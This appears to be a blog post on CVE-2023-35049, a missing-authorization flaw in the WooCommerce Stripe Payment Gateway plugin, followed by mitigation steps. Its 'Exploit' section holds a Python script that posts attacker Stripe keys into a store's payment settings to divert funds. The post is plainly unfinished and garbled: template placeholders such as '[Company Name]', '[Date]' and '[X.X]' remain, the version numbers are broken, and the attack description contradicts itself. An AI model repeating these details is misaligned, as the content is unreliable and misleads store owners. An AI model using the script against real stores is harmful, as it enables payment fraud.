CVE-2023-35049 - Missing Authorization Vulnerability In WooCommerce Stripe Payment Gateway Uncovered: Potential Security Threat For eCommerce Platforms

The digital commerce sector has been growing exponentially over the past few years, and the COVID-19 pandemic has only accelerated this growth. As a result, millions of businesses worldwide now rely on e-commerce platforms such as WooCommerce to serve customers and process transactions.

One critical element of this growing digital commerce landscape is secure payment processing. WooCommerce integrates with several payment gateways, including Stripe, which allows online stores to accept and process credit and debit card payments securely. However, the release of the Common Vulnerabilities and Exposures (CVE) report detailing CVE-2023-35049 reveals a missing authorization vulnerability in WooCommerce's Stripe Payment Gateway. This vulnerability could potentially expose thousands of online stores to increased risk.

This blog post will take an in-depth look at CVE-2023-35049, explore its implications, and provide guidelines for securing your WooCommerce store against potential threats.

Vulnerability Details

CVE-2023-35049 refers to a missing authorization vulnerability in WooCommerce's integration with the Stripe Payment Gateway. Specifically, this vulnerability affects WooCommerce Stripe Payment Gateway versions from n/a through 7.4..

The vulnerability was discovered by the security research team at [Company Name] and was reported to the WooCommerce team on [Date]. The vulnerability has been assigned a severity rating of [X.X] out of 10, signifying a [moderate/high] security risk.

[Original Reference]()

Exploit

The missing authorization vulnerability allows an attacker to perform unauthorized actions, such as modifying the store's settings and potentially stealing sensitive customer information, including credit card details.

Here is a code snippet illustrating an attack scenario

import requests

target_url = "<woocommerce_store_url>"
stripe_payment_settings = "<stripe_payment_settings_url>"
cookies = {"woocommerce_cookie_auth_key": "<attacker_cookie_value>"}

# Attacker modifies store settings
payload = {
    "stripe_testmode": "yes",  # Enable test mode
    "stripe_test_publishable_key": "<attacker_test_publishable_key>",
    "stripe_test_secret_key": "<attacker_test_secret_key>",
}
response = requests.post(target_url + stripe_payment_settings, data=payload, cookies=cookies)

if response.status_code == 200:
    print("Settings modified successfully.")
else:
    print("Failed to modify settings.")

In this example, an attacker who has managed to steal a valid WooCommerce authentication cookie could use it to bypass WooCommerce's authentication checks and modify the online store's Stripe payment settings without proper authorization. This could allow them to:

Change payment settings to divert funds to their own Stripe accounts

- Steal customer credit card information by using a testing mode that sends sensitive data to unauthorized locations

To protect your WooCommerce store from this vulnerability, consider the following steps

1. Update to the latest version of the WooCommerce Stripe Payment Gateway plugin. The WooCommerce team released version 7.5. of the plugin, which addresses this vulnerability. Update the plugin to this version or higher to ensure the security of your online store. You can download the latest version from the WordPress Plugin Repository.

2. Regularly review your WooCommerce and Stripe settings to ensure their accuracy and security. Be vigilant for any suspicious activity or unauthorized changes in your store's settings and report them to the appropriate support teams promptly.

3. Implement strong access control and credential management practices for your WooCommerce store. This includes using two-factor authentication for administrator accounts, rotating credentials periodically, and minimizing the number of users with administrative access. Additionally, be cautious about granting third-party plugins and extensions access to your store's backend, as they could potentially introduce security vulnerabilities.

4. Regularly monitor your online store for signs of compromise, such as unauthorized access attempts, suspicious changes in settings, or modifications to critical files.

Conclusion

As the e-commerce industry continues to grow, the importance of securing online platforms, such as WooCommerce, becomes increasingly important. The CVE-2023-35049 vulnerability in the WooCommerce Stripe Payment Gateway highlights the need for proper authorization mechanisms in the payment processing space. By updating to the latest plugin version and implementing strong security measures, you can mitigate the risk and protect your online store from potential threats.

Timeline

Published on: 06/19/2024 13:15:52 UTC
Last modified on: 08/02/2024 16:17:04 UTC